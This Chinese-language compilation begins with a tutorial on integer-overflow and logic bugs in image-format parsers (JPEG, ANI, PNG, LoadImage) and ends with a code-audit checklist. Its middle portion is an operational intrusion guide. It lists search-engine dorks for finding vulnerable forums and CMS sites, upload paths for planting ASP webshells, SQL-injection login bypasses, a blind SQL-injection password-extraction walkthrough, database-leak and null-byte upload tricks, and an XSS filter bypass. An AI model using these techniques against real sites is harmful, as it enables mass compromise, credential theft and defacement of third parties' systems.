安全漏洞
安全漏洞 (security hole)
受限制的计算机、组件、应用程序或其他联机资源的无意中留下的不受保护的入口点。
目标:客户端的漏洞?
客户端易受攻击:IE,Outlook,Firefox,MSN,Yahoo etc.
黑客利益的驱使:Botnet,Visa,CD-Key,DDOS etc.
发现漏洞较容易(More 0day?):较容易发现,新的领域
为什么挖掘图像格式中的漏洞?
Windows,Linux等操作系统支持多种图像格式:Bmp, GIF, JPG, ANI, PNG etc.文件格式众多,代码复杂易找到漏洞
Windows中很多图像格式解析的实现方式与开源代码及其相似,经常发现同一bug;(Why?)
黑客们并没有在每种格式中发现漏洞,没有足够的“eyes”关注
从安全人员的角度:
格式众多,算法复杂容易出现漏洞
影响范围极广跨应用跨平台,例如:
Windows 平台上任何解析jpg 的应用,office,outlook,IE...GDIPLUS.dll
Windows 内核实现对Ani 的支持,通过ie 不需要用户互动操作。谁会怀疑网页上的指针文件?
PNG Msn, libpng 很多开源软件
隐蔽性严重威胁用户安全
从黑客的角度:
如果利用图像格式触发的漏洞,会降低了受害者的警觉性,易利用社会工程学。蠕虫传播可能利用一些非常容易让人警惕的文件格式,但我们现在讨论的是图片格式jgp, png, ani...不容易让人引起怀疑
多种攻击媒介,利于黑客攻击:通过网页,邮件可以穿越防火墙的保护,IDS不易检查,需要对各种格式,协议进行解析才能检查出漏洞攻击。
图像的基本格式
流格式由很多段构成,段里面又由标记,参数(漏洞点),数据段构成
还可能有段里面再嵌套段(漏洞点)
Gif,Ani可能包含很多帧,刷新率,帧的索引(漏洞点)
可能会有标记图形模式的bit-map,可能会有逻辑上的错误png
http://scary.beasts.org/security/CESA-2004-001.txt
JPG格式中的漏洞
先来一个实际的例子:
GDIPlus.DLL漏洞MS04-028 Nick DeBaggis
影响巨大,攻击很多
漏洞产生原因:
JPEG格式中的注释段(COM)由0xFFFE开始(标记)+2字节得注释段字节数(参数) +注释(数据)构成。因为字节数这个参数值包含了本身所占的2字节,所以GDIPLUS.dll在解析jpg格式文件中的注释段时会把这个值减去2,如果这个值设置成0,1就会产生整数溢出。
JPG格式中的漏洞
是不是觉得很相似?
2000 Solar Designer 发现了Netscape 浏览器的JPEG 解析漏洞,与Nick DeBaggis 发现的漏洞原理是相同的。
http://www.openwall.com/advisories/OW-002-netscape-jpeg.txt
另一个相似的例子
Stefan Esser发现的XBOX Dashboard local vulnerability,该漏洞存在于XBOX Dashboard对.wav格式和.xtf格式文件的解析上,虽然说不是图形格式但漏洞原理却相同。
细节:同样存在一个size参数这次是它本身的大小是4字节,所以当size值为0-3时就会发生整数溢出。
疑问:为什么有些人从偶blog转文章就不写出处呢 也算是我翻来搜去搞来的文章呀bY FIRef0x
疑问:为什么会一再出现同类型的漏洞?
是否程序员们从概念上忽略了某些问题?
为什么都是整数溢出漏洞?
此类漏洞的本质是什么?
是否还有这种漏洞?
问题的本质
这些文件格式是由很多“段”构成的数据流,而每个段由:标记,参数,数据等结构构成,在程序解析这些文件格式的时候会依据“标记”来确认段,并读劝参数” 进行一定的运算,再依据这些参数来处理随后紧跟的“数据”。以上提到的几个漏洞的产生原因就是在对参数进行运算的时候相信了文件输入的参数没有进行确认而导致的。
思维扩展
不要相信用户的输入,同样不要相信文件的输入;
包括标记,错误的标记也会导致问题
包括参数,详细检查输入参数
包括数据,数据里面可能还嵌套着另一个“段”
思维扩展的结果
Venustech AD-Lab:Windows LoadImage API Integer Buffer overflow
影响极为广泛: bmp,cur,ico,ani格式的文件都受影响。
描述:
WINDOWS的USER32库的LoadImage系统API 存在着整数溢出触发的缓冲区溢出漏洞,这个API允许加载一个bmp,cur,ico,ani格式的图标来进行显示,并根据图片格式里说明的大小加4来进行数据的拷贝,如果将图片格式里说明的大小设置为0xfffffffc-0xffffffff,则将触发整数溢出导致堆缓冲区被覆盖。攻击者可以构造恶意的bmp,cur,ico,ani格式的文件,嵌入到HTML页面,邮件中,发送给被攻击者,成功利用该漏洞则可以获得系统的权限。
LoadImage API 整数溢出漏洞分析
代码:
.text:77D56178 mov eax, [ebx+8] //Direct read our size here:P
.text:77D5617B mov [ebp+dwResSize], eax
.text:77D5617E jnz short loc_77D56184
.text:77D56180 add [ebp+dwResSize], 4 //add 4 int overflow...
.text:77D56184
.text:77D56184 loc_77D56184: ; CODE XREF: sub_77D5608F+EF_j
.text:77D56184 push [ebp+dwResSize] //allocate a wrong size
.text:77D56187 push 0
.text:77D56189 push dword_77D5F1A0
.text:77D5618F call ds:RtlAllocateHeap
总结:转换思路后找到这个加4的漏洞,同样的类型,信任“文件”输入。
思维扩展的结果
EEYE 2004:Windows ANI File Parsing Buffer Overflow
堆栈漏洞极易利用,攻击方法隐蔽。
原理:
相信“ 文件” 输入参数,没做检查直接用作memcpy 的参数。
PNG漏洞,不同的模式
逻辑问题1:
EEYE PNG (Portable Network Graphics) Deflate Heap Corruption Vulnerability
原因:对 Length 码 #286 and #287没有做正确的处理,导致解压程序认为长度是0
do { *dest = *src; ++dest; ++src; } while (--len);
逻辑问题2:libPNG 1.2.5 堆栈溢出
代码:
if (!(png_ptr->mode & PNG_HAVE_PLTE)) {
/* Should be an error, but we can cope with it */
g_warning(png_ptr, "Missing PLTE before tRNS"); }
else if (length > (png_uint_32)png_ptr->num_palette) {
g_warning(png_ptr, "Incorrect tRNS chunk length");
g_crc_finish(png_ptr, length);
return;
}
分析:代码编写的逻辑错误,错误的使用了else if.
相似漏洞:MSN png 漏洞,Media player png 漏洞
逻辑问题的总结
非常容易出现在复杂的文件格式处理中
容易出现在压缩,解压代码中:需要处理很多长度,大小相关的参数。
这种漏洞不一定是缓冲区溢出,也可能是越界访问等等
想象漏洞
发现漏洞有时候是一种想象的过程
例子1:
Venustech ADLab:Microsoft Windows Kernel ANI File Parsing Crash Vulnerability
介绍:ANI是WINDOWS 支持的动画光标格式,在ANI是由多个普通的光标文件组成一个动画,其中ANI文件的头处会标记是几个图标frame,WINDOWS 的内核在显示光标的时候并未对该值进行检查,如果将这个数字设置为0,会导致受影响的WINDOWS系统计算出错误的光标的地址并加以访问,触发了内核的蓝屏崩溃。不仅仅是应用使用ANI文件时会触发,只要在EXPLORER下打开ANI文件存在的目录就会触发。攻击者也可以发送光标的文件,引诱用户访问含有恶意光标显示的页面,以及发送嵌入光标的HTML邮件,导致被攻击者系统蓝屏崩溃。
原理:在计算frame地址的时候失败。
例子2:
Venustech ADLab:Microsoft Windows Kernel ANI File Parsing DOS Vulnerability
介绍:ANI是WINDOWS 2000支持的动画光标格式,在ANI是由多个普通的光标件组成一个动画,其中ANI文件的头处会标记每FRAME切换的频率,该值越小切换的速度越快,WINDOWS 的内核在切换光标FRAME的时候并未对该值进行检查,如果将这个数字设置为0,受影响的WINDOWS的内核会陷入内核的死锁,不再响应任何用户界面的操作。该漏洞触发必须要在使用ANI文件的应用中才能触发,攻击者引诱用户访问含有恶意光标显示的页面,以及发送嵌入光标的HTML邮件,导致被攻击者系统内核死琐。
原因:没有考虑刷新频率是0的情况。
总结
下溢:Size参数小于自身所占大小
上溢:Size加上一个正整数值产生上溢
直接作为参数输入memcpy类函数
非法参数导致地址访问越界
多种逻辑上的错误
充分发挥想象:刷新率?
总结
安全提示:
文件格式是攻击者的另一种输入渠道,同样不要信任从文件读取的数据
解析文件格式时应该对参数进行充分的检查
同样需要想象力,需要考虑到每种可能的情况
各种漏洞的利用和一些搜索参数
说到漏洞,首先应该提到的就是动网的上传漏洞了。
"洞网"漏洞拉开了上传漏洞文件的序幕,其他系统的上
传漏洞接踵而来!
asp动网论坛漏洞分析
1、这个漏洞不算太严重,用过动网论坛的人都知道,发帖时直接写javascript会被过滤拆分,写http会自动加上链接,漏洞就在此,在这两个地方变通一下,把两个单词的某个字母换成编码形式,然后系统再对应地解码回字母,就达到了避免被过滤的目的。例子说明一下,在发帖时写入[img]javas&#x63ript:window.open(‘htt&#x70://www.fwcn.com','')[/img] 很清楚地看到,#x63解码的字母是"c",#x70解码的字母是"p",&起到连接作用,最后加上[img],使JS被触发,如果论坛支持flash插入,用[swf]也可。利用这个漏洞可以搞些恶作剧,写上诱人的主题,点进去结果是他的主页(骗点击率,作广告),甚至更绝,连到一个有病毒、木马的网页上,让你直想骂娘。这个漏洞存在于动网的各个版本,包括较新的0519版,覆盖面积之广让人瞠目,各人认为应该对某些非法字符进行检测剔除,而非简简单单地拆分了事,真希望动网开发者能尽早补上这漏洞。
2、比起前者,第二个漏洞问题就大啦,利用该漏洞可以破解掉论坛上所有注册会员的密码(恐怖~~~),由于论坛管理员通常直接把论坛程序载下来梢加以美工就拿来使用了,图方便直接导致了漏洞的出现,我们也载一个回来,只要看一下动网的数据库,就知道了密码的字段为userpassword,接着例如要破一个名叫abc的用户密码,首先察看abc的用户资料,给出的连接是http://xxxxx/dispuser.asp?name=abc ,在dispuser.asp中,读取参数的语句是:username=trim(request("name")),数据库的查询的语句是: sql="select * from [user] where username='"&username&"'",看得出来, abc就是直接被作为了dispuer的一个参数username,另外,如果该用户不存在,程序就会给出提示,既然如此,我们就再写入个查询密码的条件,在where username=abc后面加上and userpassword="******",理论上这样就可以实现对密码的破解了,但这么破要破到何年何月,现在就要轮到VBS函数大显身手了,可以先用len函数试出用户的密码位数,地址就这么写http://xxxxx/dispuser.asp?name=abc'%20and%20len(userpassword)=5%20and%20'1'='1,这么看可能不好理解,放到sql语句里其实就是这副样子:sql="select * from [User] where username='abc' and len(UserPassword)=5 and '1'='1'",现在明白点了吧,%20是空格,abc后面的单引号和'1'='1里的单引号都是为了和sql语句相匹配。奇怪,该用户不存在,喔?那就说明符合这个条件的用户没有,继续,把5换成6,7,8,依此类推,只要能显示出用户资料了,就说明密码位数猜对了。接下来要做的就是试每位的密码是多少了,继续要用到VBS,可以用left或right或mid函数,http://xxxxx/dispuser.asp?name=abc'%20and%20left(userpassword,1)='a,如果猜对了就给出用户资料,猜对了就给出该用户不存在的提示,这样子还是嫌太慢,那就在外面再套个asc函数,http://xxxxx/dispuser.asp?name=abc'%20and%20asc(mid(userpassword,1,1))>'50 试出用户密码的ASCII码是否大于50,不断地缩小范围,相信很快就能将范围缩小至个位数,看到这里你是否惊出了一身冷汗,起码我是如此,靠几个函数的灵活运用,保守地说,不出半小时就能破解出密码。真是不幸中的大幸,动网开发者在后来的05**版后使用了MD5的加密,这下子总算放心了,但介于国内还有许多地方在使用老版本的动网论坛(包括一个小有名气的flash站点)
3 、动网SQL语句漏洞
此漏洞针对动网SQL版本。
测试方法:在http://ip/bbs/admin_index.asp 输入用户名是'or''=' 密码也是这个
这样可以跳过认证
原理:利用SQL语法。输入的密码和ID就成为一个合法的SQL语句,直接跳过认证。
此漏洞并不针对动网。很多SQL的ASP都会有这个漏洞
4、动网论坛sp2漏洞 (此漏洞影响范围甚大,动网官方站、黑客防线、安全基地都曾因此被黑过,具体资料大家可以在百度搜一下)
上传漏洞路径:reg_upload.asp及upfile.asp
青创文章系统
打开google 输入.tw qcdn (或者是去百度搜索 Powered by:QCDN_NEWS 但大多数是中国的)
青创文章系统
上传漏洞。在网址后加/admin_upfile.asp 如果出现。
Microsoft VBScript 磅︽顶琿岿粇 岿粇 '800a01b6'
ンぃや穿妮┦┪よ猭: 'form'
/article/admin_upfile.asp, 21
就代表已经有90%以上的希望了
桂林老兵的上传工具上传木马
入侵的時候發現admin_upfile.asp改了。你也可以改成user_upfile.asp也上傳傳馬馬。還有一個方法就是把admin_upfile.asp user_upfile.asp加到注入工裏邊
青创文章管理系统注入功击
关键字"list.asp?unid="
工具:
1、NBSI好像大部分黑客站点都有得下。
2、MD5Crack2,破解MD5加密的软件(磊子推荐:dos下DV.exe比较好用)
第一次检测的时候,会报告"暂未检测到注入漏洞";然后在"特征字符"输入"Unid"
(提示:"Unid"中的" U "一定要是大写的
"飞龙文章管理系统" 漏洞
飞龙文章管理系统 Ver 2.0 Build 20040620 正式版漏洞利用
搜索"Article.asp?ArtID="关键字
漏洞文件在
admin_upfile.asp
user_upfile.asp
这两个文件"upfile.asp"
动网漏洞的再现
上传时cookie中加"ArtID=1111;"
phpwind 1.3.6 的论坛漏洞的利用
搜索关键字"POWER BY PHPWIND v1.3.6"
phpwind1.3.6论坛利用程序 "群共享"中有上传
保存后,木马地址为当前目录下的faq.php
在本机用如下表单进行提交:
上传成功后的木马存在论坛目录下
直接访问就行!
漏洞集合
1)Co Net MiB Ver1.0~4.0 用'or'='or'登陆管理员(一个比较经典的漏洞)
2)ASP Calendar漏洞 请在google搜索Maintained with the Ocean12 ASP Calendar Manager v1.01这个信息,程序的默认数据库为o12cal.mdb(非MD5加密,明文保存)
3)六合彩漏洞 我们打开www.baidu.com或是www.google.com
在搜索里输入 请各位验证会员料
http://www.3589.com/tian/4login.asp把4login.asp改成conn.inc
wz520#.mdb,他就是数据库了。#改成%23就可以下载数据库了
4)青创文章系统出现严重漏洞 在网址后加/admin_upfile.asp上传WEBSHELL
百度搜索 Powered by:QCDN_NEWS 台湾.tw qcdn。
还可以用%5c暴库,通杀
"list.asp?unid=" " .tw/list.asp?unid= " 存在注入 在"特征字符"输入"Unid"
("Unid"中的" U "一定要是大写的)
5)自由动力3.6的软件上传过滤不严 用WinHex.exe和WSockExpert.exe修改上传木马
E时代驿站漏洞
百度搜索"E时代驿站"
漏洞利用页面 /upload.asp 用老兵直接上传
沸腾新闻系统上传漏洞
搜索:沸腾展望新闻系统[核心:尘缘雅境]授权使用
漏洞:没有对空格进行严格的限制。
所以,我们直接选定要上传的asp木马,然后在后面加上空格
它的上传文件是UploadFaceOK.asp
尘缘雅境
在GOOGLE里搜索关键词: V1.0 ACCESS Finish,就会看
到出现了
一大堆
使用尘缘雅境系统的网站.比如说他的网站首页
是http://www.xx.com/asfq/index.asp,那么就要这样填写
http://www.xx.com/asfq/admin/uploadfaceok.asp,[漏洞目
录]:/asfq/admin
(注意一定要加上admin),[漏洞文件]一般不用改,不过有
些老版的
尘缘系统
的漏洞文件是uploadok.asp,如果uploadfaceok.asp不成功
再改
OFSTAR论坛漏洞利用程序(群共享中)
搜索: powered by ofstar.net
1:输入管理员用户名 2:输入任意一个帖子的路径!
3:单击获取密码,可以截取到管理员的MD5密码!是32位加密的!
4:单击直接登陆按钮!程序会自动构造Cookies进行登陆!单击管理栏的"超管"可直接进入后台!
上传木马: 选择后台的论坛管理=>风格摸版设置 插入以下代码! (其实上传shell部分和PHPWind一样)
然后使用提交页面提交``可以直接拿到shell!
-->
破废墟BLOG漏洞
百度搜:"破废墟 Bloging"
在后面加上;upfile.asp
结果返回:"DLOG错误:提交的数据来自网站外部 | 返 回
或者 您要访问的网页有问题,无法显示。
HTTP 500 - 内部服务器错误
这说明这个文件是存在的,但是无法正常的访问,其实我们也可以利用
直接用老兵上传木马http://www.xxxxx.com/blog/upfile.asp
极限论坛系统漏洞
用"EzRick.com All Rights"做关键字搜索
论坛的置顶帖子存在注入漏洞,大家打开置顶帖子后联接都是这种形式"showtopic.asp?TOPIC_ID=111&Forum_ID=11"当我们去掉后面的"&Forum_ID=11",注入点就出现了。
然后我们在注入猜解工具的表段名里面添加上"Forum_UserDB"就可以跑出论坛的用户名和16位md5密码散列
暴库入侵 OBLOG!
搜索 :powered by OBlog
暴库示例 :
http://***/blog/index.asp?classid=3
将以上连接中的最后一个正斜杠"/"改为"%5c"
http://***/blog%5cindex.asp?classid=3
截止powered by OBlog ver2.22之前90%的OBLOG站点都能暴库
阿天在线整站上传漏洞
百度搜索:阿天在线
漏洞利用很简单
直接用老兵上传工具就可以搞顶
漏洞文件是mg_upfile.asp
"动感系统"的上传漏洞
漏洞的文件就是根目录下的upfile.asp
在百度里搜
inurl: (SoftView.Asp?SoftID=)
这样找的是Access版的
inurl: (/SoftView/SoftView_)
这样找到的都是SQL版的
net pic PHP程序的漏洞利用
当PHP程序有指定PATH时,在PATH文件后门加入%00可以
上传任意文件.
在百度里搜索"NEATPIC PHP目录直读版 1.2.3"你会找到很
多装有些程序的站点
在www.google.com中输入"版本:Joekoe V6.0"
或者在www.baidu.com中查询"关于我们 ┋ 网站留言 ┋ 友情链接 ┋ 与我在线"
会找到很多joekoe论坛的地址
使用方法:
例如网址为http://www.xxx.com/yyy/forum.asp
在主机名中输入www.xxx.com
在发送主机路径中输入/yyy/upload.asp
点击发送即可
使用木马asp
在回应信息中出现上传成功的提示后,在ie地址栏中输入
http://www.xxx.com/yyy/upload/forum/newmm.asp即可
在www.baidu.com中输入"卓越网站快车"
会找到很多相关的地址
使用方法:
例如网址为http://http://www.xxx.cn/htdocs/index.asp
在主机名中输入www.xxx.com
在发送主机路径中输入/htdocs/system/user/upimg1/fileupimg3.asp.如果没有/htdocs的虚拟目录,则不用改变默认值.
点击发送即可
使用木马asp
在回应信息中出现上传成功的提示后,在"上传的asp文件名中"的编辑框中
会出现上传成功的asp名称.例如
HTTP://www.xxx.cn/htdocs/FICE/UP/20041122234053.cdx.asp
一、前期准备,建立安全模型
1、熟悉软件功能、功能实现,配置等;
如:IIS的虚拟目录、脚本映射;
2、根据功能,分析安全需求,建立安全模型;
IIS外挂,文件类型识别,目录正确识别;目录限制;
外挂的特点;权限不是在文件对象上,需要自己识别文件,所以需要识别出同一个文件的所有文件名;
3、根据安全需求,分析编程应注意的地方,重点检查。
IIS要对"../"进行检测,连接文件的处理,识别出正确的目录、文件名; 编程接口完全按接口实现;
二、原代码分析
1、通读原代码;
2、安全需求里面重点需要检测的地方;
3、搜索容易有问题的函数调用,如strcpy、strcat、*printf、free、strncpy等;
4、常见一些编程问题;一些变量类型,如长度变量用int,注意一些函数非直接返回赋值问题等,一些边界条件,记数从0开始还是从1开始。
5、分析缓冲区使用的代码;
6、输入输出合法检测;
7、编程接口调用;了解操作系统、基本文件、进程调用等的特性;
8、数据结构;
9、安全领域的最小原则;
三、二进制代码分析
1、测试;
(1)、熟悉输入输出;
(2)、根据需要编写测试程序;
(3)、输入输出各种特殊情况测试,特殊字符、长串;
(4)、安全需求需要检测的一些条件测试;
2、反汇编分析;
(1)、阅读理解反汇编代码;
(2)、安全需求检测的代码分析;
(3)、调用接口代码分析;
(4)、sub esp,xxx 代码分析缓冲;
(5)、strcpy、strcat、*printf、free、strncpy等调用分析;
(6)、输入输出检测;
3、跟踪调试;
(1)、异常的拦截分析;
(2)、一些字符串的流向,读写断点;
四、总结提高
1、分析总结各种漏洞、漏洞原因、编程问题,补丁修补方法,编程怎么避免。
2、对漏洞归纳分类,全面考虑;
一些漏洞研究成果:
1. IIS ISM.DLL文件名截断漏洞泄漏文件内容漏洞;
http://www.microsoft.com/technet/security/bulletin/ms00-044.asp
2. Microsoft Windows 9x共享密码校验漏洞;
http://www.microsoft.com/technet/security/bulletin/ms00-072.asp
3. Microsoft IIS Unicode解码目录遍历漏洞;
http://www.microsoft.com/technet/security/bulletin/ms00-078.asp
4. Microsoft IIS CGI文件名检查漏洞;
http://www.microsoft.com/technet/security/bulletin/ms00-086.asp
5. Microsoft IIS远东版泄漏文件内容漏洞;
http://www.nsfocus.com/english/homepage/sa_08.htm
6. Microsoft IIS CGI文件名错误解码漏洞;
http://www.microsoft.com/technet/security/bulletin/ms01-026.asp
7. Microsoft FrontPage 2000服务器扩展缓冲区溢出漏洞;
http://www.microsoft.com/technet/security/bulletin/ms01-035.asp
8. Microsoft IIS ssinc.dll缓冲区溢出漏洞;
http://www.microsoft.com/technet/security/bulletin/ms01-044.asp
9. WebDav 拒绝服务漏洞;
10. WebDav 泄露文件源代码漏洞;
11. WebDav 缓冲区溢出漏洞;
12. asp.dll 缓冲区溢出漏洞;
13. shtml.dll 泄露文件源代码漏洞;
14. IIS CGI 拒绝服务漏洞;
15. IIS CGI 泄露源代码漏洞;
16. winlogon.exe 缓冲区溢出漏洞;
17. WINDOWS API 缓冲溢出漏洞;
18. Windows mup.sys 缓冲溢出漏洞;
19. apache for win32 可搜索文件漏洞;
20. apache for win32 执行任意命令漏洞;
21. php4.0 缓冲溢出漏洞;…………
)

